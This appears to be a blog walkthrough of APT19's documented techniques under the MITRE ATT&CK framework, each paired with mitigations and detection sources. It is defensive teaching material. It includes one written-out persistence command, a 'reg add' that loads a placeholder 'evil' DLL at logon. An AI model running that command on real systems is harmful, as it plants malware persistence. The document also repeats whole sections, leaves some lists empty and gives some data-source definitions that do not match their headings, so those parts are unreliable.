Presented by: Ashwin (Microsoft Azure MVP)
APT19 is a Chinese-based threat group that has targeted a variety of industries, including defense, finance, energy, pharmaceutical, telecommunications, high tech, education, manufacturing, and legal services. In 2017, a phishing campaign was used to target seven law and investment firms. Some analysts track APT19 and Deep Panda as the same group, but it is unclear from open source information if the groups are the same.
Source:
MITRE ATT&CK® Matrix for Enterprise
Now, let's see the details around the series of events associated with this group in chronological order, and how we can work to mitigate or detect these threats.
APT19 has obtained and used publicly-available tools like Empire.
Adversaries may buy, steal, or download software tools that can be used during targeting. Tools can be open or closed source, free or commercial. A tool can be used for malicious purposes by an adversary, but (unlike malware) were not intended to be used for those purposes (ex: PsExec). Tool acquisition can involve the procurement of commercial software licenses, including for red teaming tools such as Cobalt Strike. Commercial software may be obtained through purchase, stealing licenses (or licensed copies of the software), or cracking trial versions.
Adversaries may obtain tools to support their operations, including to support execution of post-compromise behaviors. In addition to freely downloading or purchasing software, adversaries may steal software and/or software licenses from third-party entities (including other adversaries).
Pre-compromise
This technique cannot be easily mitigated with preventive controls since it is based on behaviors performed outside of the scope of enterprise defenses and controls.
Monitoring the following activities in your Organization can help you detect this technique.
Malware Repository: Malware Metadata
Initial construction of a WMI object, such as a filter, consumer, subscription, binding, or provider (ex: Sysmon EIDs 19-21)
Monitor for contextual data about a malicious payload, such as compilation times, file hashes, as well as watermarks or other identifiable configuration information. In some cases, malware repositories can also be used to identify features of tool use associated with an adversary, such as watermarks in Cobalt Strike payloads. Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle.
APT19 performed a watering hole attack on forbes.com in 2014 to compromise targets.
Adversaries may gain access to a system through a user visiting a website over the normal course of browsing. With this technique, the user's web browser is typically targeted for exploitation, but adversaries may also use compromised websites for non-exploitation behavior such as acquiring Application Access Token.
Multiple ways of delivering exploit code to a browser exist, including:
Often the website used by an adversary is one visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted campaign is often referred to a strategic web compromise or watering hole attack. There are several known examples of this occurring.
Typical drive-by compromise process:
Unlike Exploit Public-Facing Application, the focus of this technique is to exploit software on a client endpoint upon visiting a website. This will commonly give an adversary access to systems on the internal network instead of external systems that may be in a DMZ.
Adversaries may also use compromised websites to deliver a user to a malicious application designed to Steal Application Access Tokens, like OAuth tokens, to gain access to protected applications and information. These malicious applications have been delivered through popups on legitimate websites.
Application Isolation and Sandboxing
Browser sandboxes can be used to mitigate some of the impact of exploitation, but sandbox escapes may still exist.
Other types of virtualization and application microsegmentation may also mitigate the impact of client-side exploitation. The risks of additional exploits and weaknesses in implementation may still exist for these types of systems.
Exploit Protection
Security applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. Many of these protections depend on the architecture and target application binary for compatibility.
Restrict Web-Based Content
For malicious code served up through ads, adblockers can help prevent that code from executing in the first place.
Script blocking extensions can help prevent the execution of JavaScript that may commonly be used during the exploitation process.
Update Software
Ensure all browsers and plugins kept updated can help prevent the exploit phase of this technique. Use modern browsers with security features turned on.
Monitoring the following activities in your Organization can help you detect this technique.
Application Log: Application Log Content
Logging, messaging, and other artifacts provided by third-party services (ex: metrics, errors, and/or alerts from mail/web applications)
Firewalls and proxies can inspect URLs for potentially known-bad domains or parameters. They can also do reputation-based analytics on websites and their requested resources such as how old a domain is, who it's registered to, if it's on a known bad list, or how many other users have connected to it before.
File: File Creation
Initial construction of a new file (ex: Sysmon EID 11)
Monitor for newly constructed files written to disk to gain access to a system through a user visiting a website over the normal course of browsing.
Network Traffic: Network Connection Creation
Initial construction of a WMI object, such as a filter, consumer, subscription, binding, or provider (ex: Sysmon EIDs 19-21)
Monitor for newly constructed network connections that are sent or received by untrusted hosts.
Network Traffic: Network Traffic Content
Logged network traffic data showing both protocol header and body values (ex: PCAP)
Monitor for networks that solicits and obtains the configuration information of the queried device
Process: Process Creation
Birth of a new running process (ex: Sysmon EID 1 or Windows EID 4688)
Monitor for newly executed processes to gain access to a system through a user visiting a website over the normal course of browsing.
APT19 sent spearphishing emails with malicious attachments in RTF and XLSM formats to deliver initial exploits.
Adversaries may send spearphishing emails with a malicious attachment in an attempt to gain access to victim systems. Spearphishing attachment is a specific variant of spearphishing. Spearphishing attachment is different from other forms of spearphishing in that it employs the use of malware attached to an email. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon User Execution to gain execution. Spearphishing may also involve social engineering techniques, such as posing as a trusted source.
There are many options for the attachment such as Microsoft Office documents, executables, PDFs, or archived files. Upon opening the attachment (and potentially clicking past protections), the adversary's payload exploits a vulnerability or directly executes on the user's system. The text of the spearphishing email usually tries to give a plausible reason why the file should be opened, and may explain how to bypass system protections in order to do so. The email may also contain instructions on how to decrypt an attachment, such as a zip file password, in order to evade email boundary defenses. Adversaries frequently manipulate file extensions and icons in order to make attached executables appear to be document files, or files exploiting one application appear to be a file for a different one.
Antivirus/Antimalware
Anti-virus can also automatically quarantine suspicious files.
Network Intrusion Prevention
Network intrusion prevention systems and systems designed to scan and remove malicious email attachments can be used to block activity.
Restrict Web-Based Content
Block unknown or unused attachments by default that should not be transmitted over email as a best practice to prevent some vectors, such as .scr, .exe, .pif, .cpl, etc. Some email scanning devices can open and analyze compressed and encrypted formats, such as zip and rar that may be used to conceal malicious attachments.
Software Configuration
Use anti-spoofing and email authentication mechanisms to filter messages based on validity checks of the sender domain (using SPF) and integrity of messages (using DKIM). Enabling these mechanisms within an organization (through policies such as DMARC) may enable recipients (intra-org and cross domain) to perform similar message filtering and validation.
User Training
Users can be trained to identify social engineering techniques and spearphishing emails.
Monitoring the following activities in your Organization can help you detect this technique.
Application Log: Application Log Content
Logging, messaging, and other artifacts provided by third-party services (ex: metrics, errors, and/or alerts from mail/web applications)
Monitor for third-party application logging, messaging, and/or other artifacts that may send spearphishing emails with a malicious attachment in an attempt to gain access to victim systems. Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed. Anti-virus can potentially detect malicious documents and attachments as they're scanned to be stored on the email server or on the user's computer. Monitor for suspicious descendant process spawning from Microsoft Office and other productivity software.
File: File Creation
Initial construction of a new file (ex: Sysmon EID 11)
Monitor for newly constructed files from a spearphishing emails with a malicious attachment in an attempt to gain access to victim systems.
Network Traffic: Network Traffic Content
Logged network traffic data showing both protocol header and body values (ex: PCAP)
Monitor and analyze SSL/TLS traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)). Filtering based on DKIM+SPF or header analysis can help detect when the email sender is spoofed.
Network Traffic: Network Traffic Flow
Summarized network packet data, with metrics, such as protocol headers and volume (ex: Netflow or Zeek http.log)
Monitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.
APT19 downloaded and launched code within a SCT file.
Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell.
There are also cross-platform interpreters such as Python, as well as those commonly associated with client applications such as JavaScript and Visual Basic.
Adversaries may abuse these technologies in various ways as a means of executing arbitrary commands. Commands and scripts can be embedded in Initial Access payloads delivered to victims as lure documents or as secondary payloads downloaded from an existing C2. Adversaries may also execute commands through interactive terminals/shells, as well as utilize various Remote Services in order to achieve remote Execution.
Antivirus/Antimalware
Anti-virus can be used to automatically quarantine suspicious files.
Behavior Prevention on Endpoint
On Windows 10, enable Attack Surface Reduction (ASR) rules to prevent Visual Basic and JavaScript scripts from executing potentially malicious downloaded content.
Code Signing
Where possible, only permit execution of signed scripts.
Disable or Remove Feature or Program
Disable or remove any unnecessary or unused shells or interpreters.
Execution Prevention
Use application control where appropriate.
Privileged Account Management
When PowerShell is necessary, restrict PowerShell execution policy to administrators. Be aware that there are methods of bypassing the PowerShell execution policy, depending on environment configuration.
Restrict Web-Based Content
Script blocking extensions can help prevent the execution of scripts and HTA files that may commonly be used during the exploitation process. For malicious code served up through ads, adblockers can help prevent that code from executing in the first place.
Monitoring the following activities in your Organization can help you detect this technique.
Command: Command Execution
Invoking a computer program directive to perform a specific task (ex: Windows EID 4688 of cmd.exe showing command-line parameters, ~/.bash_history, or ~/.zsh_history)
Monitor command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information Discovery, Collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script. Scripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used.
Module: Module Load
Attaching a module into the memory of a process/program, typically to access shared resources/features provided by the module (ex: Sysmon EID 7)
Monitor for events associated with scripting execution, such as the loading of modules associated with scripting languages (ex: JScript.dll or vbscript.dll).
Process: Process Creation
Birth of a new running process (ex: Sysmon EID 1 or Windows EID 4688)
Monitor log files for process execution through command-line and scripting activities. This information can be useful in gaining additional insight to adversaries' actions through how they use native processes or custom tools. Also monitor for loading of modules associated with specific languages.
Process: Process Metadata
Contextual data about a running process, which may include information such as environment variables, image name, user/owner, etc.
Monitor contextual data about a running process, which may include information such as environment variables, image name, user/owner, or other information that may reveal abuse of system features. For example, consider monitoring for Windows event ID (EID) 400, which shows the version of PowerShell executing in the EngineVersion field (which may also be relevant to detecting a potential Downgrade Attack) as well as if PowerShell is running locally or remotely in the HostName field. Furthermore, EID 400 may indicate the start time and EID 403 indicates the end time of a PowerShell session.
Script: Script Execution
Launching a list of commands through a script file (ex: Windows EID 4104)
Monitor for any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.
APT19 used PowerShell commands to execute payloads.
Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the Start-Process cmdlet which can be used to run an executable and the Invoke-Command cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
PowerShell may also be used to download and run executables from the Internet, which can be executed from disk or in memory without touching disk.
A number of PowerShell-based offensive testing tools are available, including Empire, PowerSploit, PoshC2, and PSAttack.
PowerShell commands/scripts can also be executed without directly invoking the powershell.exe binary through interfaces to PowerShell's underlying System.Management.Automation assembly DLL exposed through the .NET framework and Windows Common Language Interface (CLI).
Antivirus/Antimalware
Anti-virus can be used to automatically quarantine suspicious files.
Code Signing
Set PowerShell execution policy to execute only signed scripts.
Disable or Remove Feature or Program
It may be possible to remove PowerShell from systems when not needed, but a review should be performed to assess the impact to an environment, since it could be in use for many legitimate purposes and administrative functions.
Disable/restrict the WinRM Service to help prevent uses of PowerShell for remote execution.
Execution Prevention
Use application control where appropriate.
Privileged Account Management
When PowerShell is necessary, restrict PowerShell execution policy to administrators. Be aware that there are methods of bypassing the PowerShell execution policy, depending on environment configuration.
Monitoring the following activities in your Organization can help you detect this technique.
Command: Command Execution
Invoking a computer program directive to perform a specific task (ex: Windows EID 4688 of cmd.exe showing command-line parameters, ~/.bash_history, or ~/.zsh_history)
If proper execution policy is set, adversaries will likely be able to define their own execution policy if they obtain administrator or system access, either through the Registry or at the command line. This change in policy on a system may be a way to detect malicious use of PowerShell. If PowerShell is not used in an environment, then simply looking for PowerShell execution may detect malicious activity. It is also beneficial to turn on PowerShell logging to gain increased fidelity in what occurs during execution (which is applied to .NET invocations). PowerShell 5.0 introduced enhanced logging capabilities, and some of those features have since been added to PowerShell 4.0. Earlier versions of PowerShell do not have many logging features. An organization can gather PowerShell execution details in a data analytic platform to supplement it with other data.
Module: Module Load
Attaching a module into the memory of a process/program, typically to access shared resources/features provided by the module (ex: Sysmon EID 7)
Monitor for loading and/or execution of artifacts associated with PowerShell specific assemblies, such as System.Management.Automation.dll (especially to unusual process names/locations).
Process: Process Creation
Birth of a new running process (ex: Sysmon EID 1 or Windows EID 4688)
Monitor for newly executed processes that may abuse PowerShell commands and scripts for execution.
Process: Process Metadata
Contextual data about a running process, which may include information such as environment variables, image name, user/owner, etc.
Consider monitoring for Windows event ID (EID) 400, which shows the version of PowerShell executing in the EngineVersion field (which may also be relevant to detecting a potential Downgrade Attack) as well as if PowerShell is running locally or remotely in the HostName field. Furthermore, EID 400 may indicate the start time and EID 403 indicates the end time of a PowerShell session.
Script: Script Execution
Launching a list of commands through a script file (ex: Windows EID 4104)
Monitor for any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.
APT19 attempted to get users to launch malicious attachments delivered via spearphishing emails.
An adversary may rely upon a user opening a malicious file in order to gain execution. Users may be subjected to social engineering to get them to open a file that will lead to code execution. This user action will typically be observed as follow-on behavior from Spearphishing Attachment. Adversaries may use several types of files that require a user to execute them, including .doc, .pdf, .xls, .rtf, .scr, .exe, .lnk, .pif, and .cpl.
Adversaries may employ various forms of Masquerading and Obfuscated Files or Information to increase the likelihood that a user will open and successfully execute a malicious file. These methods may include using a familiar naming convention and/or password protecting the file and supplying instructions to a user on how to open it.
While Malicious File frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it. This activity may also be seen shortly after Internal Spearphishing.
Behavior Prevention on Endpoint
On Windows 10, various Attack Surface Reduction (ASR) rules can be enabled to prevent the execution of potentially malicious executable files (such as those that have been downloaded and executed by Office applications/scripting interpreters/email clients or that do not meet specific prevalence, age, or trusted list criteria). Note: cloud-delivered protection must be enabled for certain rules.
Execution Prevention
Application control may be able to prevent the running of executables masquerading as other files.
User Training
Use user training as a way to bring awareness to common phishing and spearphishing techniques and how to raise suspicion for potentially malicious events.
Monitoring the following activities in your Organization can help you detect this technique.
File: File Creation
Initial construction of a new file (ex: Sysmon EID 11)
Monitor for newly constructed files that are downloaded and executed on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the file is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning powershell.exe).
Process: Process Creation
Birth of a new running process (ex: Sysmon EID 1 or Windows EID 4688)
Monitor for newly constructed processes and/or command-lines for applications that may be used by an adversary to gain initial access that require user interaction. This includes compression applications, such as those for zip files, that can be used to Deobfuscate/Decode Files or Information in payloads.
An APT19 Port 22 malware variant registers itself as a service.
Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions. Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Adversaries may install a new service or modify an existing service to execute at startup in order to persist on a system. Service configurations can be set or modified using system utilities (such as sc.exe), by directly modifying the Registry, or by interacting directly with the Windows API.
Adversaries may also use services to install and execute malicious drivers. For example, after dropping a driver file (ex: .sys) to disk, the payload can be loaded and registered via Native API functions such as CreateServiceW() (or manually via functions such as ZwLoadDriver() and ZwSetValueKey()), by creating the required service Registry values (i.e. Modify Registry), or by using command-line utilities such as PnPUtil.exe. Adversaries may leverage these drivers as Rootkits to hide the presence of malicious activity on a system. Adversaries may also load a signed yet vulnerable driver onto a compromised machine (known as "Bring Your Own Vulnerable Driver" (BYOVD)) as part of Exploitation for Privilege Escalation.
Services may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges. Adversaries may also directly start services through Service Execution. To make detection analysis more challenging, malicious services may also incorporate Masquerade Task or Service (ex: using a service and/or payload name related to a legitimate OS or benign software component).
Audit
Use auditing tools capable of detecting privilege and service abuse opportunities on systems within an enterprise and correct them.
Behavior Prevention on Endpoint
On Windows 10, enable Attack Surface Reduction (ASR) rules to prevent an application from writing a signed vulnerable driver to the system. On Windows 10 and 11, enable Microsoft Vulnerable Driver Blocklist to assist in hardening against third party-developed service drivers.
Code Signing
Enforce registration and execution of only legitimately signed service drivers where possible.
Operating System Configuration
Ensure that Driver Signature Enforcement is enabled to restrict unsigned drivers from being installed.
User Account Management
Limit privileges of user accounts and groups so that only authorized administrators can interact with service changes and service configurations.
Monitoring the following activities in your Organization can help you detect this technique.
Command: Command Execution
Invoking a computer program directive to perform a specific task (ex: Windows EID 4688 of cmd.exe showing command-line parameters, ~/.bash_history, or ~/.zsh_history)
Monitor processes and command-line arguments for actions that could create or modify services. Command-line invocation of tools capable of adding or modifying services may be unusual, depending on how systems are typically used in a particular environment. Services may also be modified through Windows system management tools such as Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data. Also collect service utility execution and service binary path arguments used for analysis. Service binary paths may even be changed to execute commands or scripts.
Driver: Driver Load
Attaching a driver to either user or kernel-mode of a system (ex: Sysmon EID 6)
Monitor for new service driver installations and loads (ex: Sysmon Event ID 6) that are not part of known software update/patch cycles.
Process: OS API Execution
Initial construction of a WMI object, such as a filter, consumer, subscription, binding, or provider (ex: Sysmon EIDs 19-21)
Monitor for API calls that may create or modify Windows services (ex: CreateServiceW()) to repeatedly execute malicious payloads as part of persistence.
Process: Process Creation
Birth of a new running process (ex: Sysmon EID 1 or Windows EID 4688)
Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data. Look for abnormal process call trees from known services and for execution of other commands that could relate to Discovery or other adversary techniques. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.
Service: Service Creation
Initial construction of a new service/daemon (ex: Windows EID 4697 or /var/log daemon logs)
Creation of new services may generate an alterable event (ex: Event ID 4697 and/or 7045), especially those associated with unknown/abnormal drivers. New, benign services may be created during installation of new software.
Service: Service Modification
Changes made to a service/daemon, such as changes to name, description, and/or start type (ex: Windows EID 7040 or /var/log daemon logs)
Monitor for changes made to Windows services to repeatedly execute malicious payloads as part of persistence.
Windows Registry: Windows Registry Key Creation
Initial construction of a new Registry Key (ex: Windows EID 4656 or Sysmon EID 12)
Monitor for new constructed windows registry keys that may create or modify Windows services to repeatedly execute malicious payloads as part of persistence.
Windows Registry: Windows Registry Key Modification
Changes made to a Registry Key and/or Key value (ex: Windows EID 4657 or Sysmon EID 13|14)
Look for changes to service Registry entries that do not correlate with known software, patch cycles, etc. Service information is stored in the Registry at HKLM\SYSTEM\CurrentControlSet\Services. Changes to the binary path and the service startup type changed from manual or disabled to automatic, if it does not typically do so, may be suspicious. Tools such as Sysinternals Autoruns may also be used to detect system service changes that could be attempts at persistence.
An APT19 HTTP malware variant establishes persistence by setting the Registry key HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Windows Debug Tools-%LOCALAPPDATA%\.
Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. These programs will be executed under the context of the user and will have the account's associated permissions level.
Placing a program within a startup folder will also cause that program to execute when a user logs in. There is a startup folder location for individual user accounts as well as a system-wide startup folder that will be checked regardless of which user account logs in. The startup folder path for the current user is C:\Users\[Username]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup. The startup folder path for all users is C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp.
The following run keys are created by default on Windows systems:
Run keys may exist under multiple hives. The HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency. For example, it is possible to load a DLL at logon using a "Depend" key with RunOnceEx: reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /d "C:\temp\evil[.]dll"
The following Registry keys can be used to set startup folder items for persistence:
The following Registry keys can control automatic startup of services during boot:
Using policy settings to specify startup programs creates corresponding values in either of two Registry keys:
The Winlogon key controls actions that occur when a user logs on to a computer running Windows 7. Most of these actions are under the control of the operating system, but you can also add custom actions here. The HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit and HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell subkeys can automatically launch programs.
Programs listed in the load value of the registry key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows run when any user logs on.
By default, the multistring BootExecute value of the registry key HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager is set to autocheck autochk *. This value causes Windows, at startup, to check the file-system integrity of the hard disks if the system has been shut down abnormally. Adversaries can add other programs or processes to this registry value which will automatically launch at boot.
Adversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use Masquerading to make the Registry entries look as if they are associated with legitimate programs.
This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of system features.
Monitoring the following activities in your Organization can help you detect this technique.
Command: Command Execution
Invoking a computer program directive to perform a specific task (ex: Windows EID 4688 of cmd.exe showing command-line parameters, ~/.bash_history, or ~/.zsh_history)
Monitor executed commands and arguments that may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key.
File: File Modification
Changes made to a file, or its access permissions and attributes, typically to alter the contents of the targeted file (ex: Windows EID 4670 or Sysmon EID 2)
Monitor the start folder for additions or changes. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including the startup folders.
Windows Registry: Windows Registry Key Creation
Initial construction of a new Registry Key (ex: Windows EID 4656 or Sysmon EID 12)
Monitor for newly created windows registry keys that may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key.
Windows Registry: Windows Registry Key Modification
Changes made to a Registry Key and/or Key value (ex: Windows EID 4657 or Sysmon EID 13|14)
Monitor Registry for changes to run keys that do not correlate with known software, patch cycles, etc. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing the run keys' Registry locations.
APT19 launched an HTTP malware variant and a Port 22 malware variant using a legitimate executable that loaded the malicious DLL.
Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking, side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Side-loading takes advantage of the DLL search order used by the loader by positioning both the victim application and malicious payload(s) alongside each other. Adversaries likely use side-loading as a means of masking actions they perform under a legitimate, trusted, and potentially elevated system or software process. Benign executables used to side-load payloads may not be flagged during delivery and/or execution. Adversary payloads may also be encrypted/packed or otherwise obfuscated until loaded into the memory of the trusted process.
Application Developer Guidance
When possible, include hash values in manifest files to help prevent side-loading of malicious libraries.
Update Software
Update software regularly to include patches that fix DLL side-loading vulnerabilities.
Monitoring the following activities in your Organization can help you detect this technique.
File: File Creation
Initial construction of a new file (ex: Sysmon EID 11)
Monitor for newly constructed files in common folders on the computer system.
File: File Modification
Changes made to a file, or its access permissions and attributes, typically to alter the contents of the targeted file (ex: Windows EID 4670 or Sysmon EID 2)
Monitor for changes made to files for unexpected modifications to access permissions and attributes
Module: Module Load
Attaching a module into the memory of a process/program, typically to access shared resources/features provided by the module (ex: Sysmon EID 7)
Monitor DLL/PE file events, specifically creation of these binary files as well as the loading of DLLs into processes. Look for DLLs that are not recognized or not normally loaded into a process.
Process: Process Creation
Birth of a new running process (ex: Sysmon EID 1 or Windows EID 4688)
Monitor newly constructed processes for unusual activity (e.g., a process that does not use the network begins to do so) as well as the introduction of new files/programs.
An APT19 Port 22 malware variant registers itself as a service.
Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions. Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Adversaries may install a new service or modify an existing service to execute at startup in order to persist on a system. Service configurations can be set or modified using system utilities (such as sc.exe), by directly modifying the Registry, or by interacting directly with the Windows API.
Adversaries may also use services to install and execute malicious drivers. For example, after dropping a driver file (ex: .sys) to disk, the payload can be loaded and registered via Native API functions such as CreateServiceW() (or manually via functions such as ZwLoadDriver() and ZwSetValueKey()), by creating the required service Registry values (i.e. Modify Registry), or by using command-line utilities such as PnPUtil.exe. Adversaries may leverage these drivers as Rootkits to hide the presence of malicious activity on a system. Adversaries may also load a signed yet vulnerable driver onto a compromised machine (known as "Bring Your Own Vulnerable Driver" (BYOVD)) as part of Exploitation for Privilege Escalation.
Services may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges. Adversaries may also directly start services through Service Execution. To make detection analysis more challenging, malicious services may also incorporate Masquerade Task or Service (ex: using a service and/or payload name related to a legitimate OS or benign software component).
Audit
Use auditing tools capable of detecting privilege and service abuse opportunities on systems within an enterprise and correct them.
Behavior Prevention on Endpoint
On Windows 10, enable Attack Surface Reduction (ASR) rules to prevent an application from writing a signed vulnerable driver to the system. On Windows 10 and 11, enable Microsoft Vulnerable Driver Blocklist to assist in hardening against third party-developed service drivers.
Code Signing
Enforce registration and execution of only legitimately signed service drivers where possible.
Operating System Configuration
Ensure that Driver Signature Enforcement is enabled to restrict unsigned drivers from being installed.
User Account Management
Limit privileges of user accounts and groups so that only authorized administrators can interact with service changes and service configurations.
Monitoring the following activities in your Organization can help you detect this technique.
Command: Command Execution
Invoking a computer program directive to perform a specific task (ex: Windows EID 4688 of cmd.exe showing command-line parameters, ~/.bash_history, or ~/.zsh_history)
Monitor processes and command-line arguments for actions that could create or modify services. Command-line invocation of tools capable of adding or modifying services may be unusual, depending on how systems are typically used in a particular environment. Services may also be modified through Windows system management tools such as Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data. Also collect service utility execution and service binary path arguments used for analysis. Service binary paths may even be changed to execute commands or scripts.
Driver: Driver Load
Attaching a driver to either user or kernel-mode of a system (ex: Sysmon EID 6)
Monitor for new service driver installations and loads (ex: Sysmon Event ID 6) that are not part of known software update/patch cycles.
Process: OS API Execution
Initial construction of a WMI object, such as a filter, consumer, subscription, binding, or provider (ex: Sysmon EIDs 19-21)
Monitor for API calls that may create or modify Windows services (ex: CreateServiceW()) to repeatedly execute malicious payloads as part of persistence.
Process: Process Creation
Birth of a new running process (ex: Sysmon EID 1 or Windows EID 4688)
Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data. Look for abnormal process call trees from known services and for execution of other commands that could relate to Discovery or other adversary techniques. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.
Service: Service Creation
Initial construction of a new service/daemon (ex: Windows EID 4697 or /var/log daemon logs)
Creation of new services may generate an alterable event (ex: Event ID 4697 and/or 7045), especially those associated with unknown/abnormal drivers. New, benign services may be created during installation of new software.
Service: Service Modification
Changes made to a service/daemon, such as changes to name, description, and/or start type (ex: Windows EID 7040 or /var/log daemon logs)
Monitor for changes made to Windows services to repeatedly execute malicious payloads as part of persistence.
Windows Registry: Windows Registry Key Creation
Initial construction of a new Registry Key (ex: Windows EID 4656 or Sysmon EID 12)
Monitor for new constructed windows registry keys that may create or modify Windows services to repeatedly execute malicious payloads as part of persistence.
Windows Registry: Windows Registry Key Modification
Changes made to a Registry Key and/or Key value (ex: Windows EID 4657 or Sysmon EID 13|14)
Look for changes to service Registry entries that do not correlate with known software, patch cycles, etc. Service information is stored in the Registry at HKLM\SYSTEM\CurrentControlSet\Services. Changes to the binary path and the service startup type changed from manual or disabled to automatic, if it does not typically do so, may be suspicious. Tools such as Sysinternals Autoruns may also be used to detect system service changes that could be attempts at persistence.
An APT19 HTTP malware variant establishes persistence by setting the Registry key HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Windows Debug Tools-%LOCALAPPDATA%\.
Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. These programs will be executed under the context of the user and will have the account's associated permissions level.
Placing a program within a startup folder will also cause that program to execute when a user logs in. There is a startup folder location for individual user accounts as well as a system-wide startup folder that will be checked regardless of which user account logs in. The startup folder path for the current user is C:\Users\[Username]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup. The startup folder path for all users is C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp.
The following run keys are created by default on Windows systems:
Run keys may exist under multiple hives. The HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency. For example, it is possible to load a DLL at logon using a "Depend" key with RunOnceEx: reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /d "C:\temp\evil[.]dll"
The following Registry keys can be used to set startup folder items for persistence:
The following Registry keys can control automatic startup of services during boot:
Using policy settings to specify startup programs creates corresponding values in either of two Registry keys:
The Winlogon key controls actions that occur when a user logs on to a computer running Windows 7. Most of these actions are under the control of the operating system, but you can also add custom actions here. The HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit and HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell subkeys can automatically launch programs.
Programs listed in the load value of the registry key HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows run when any user logs on.
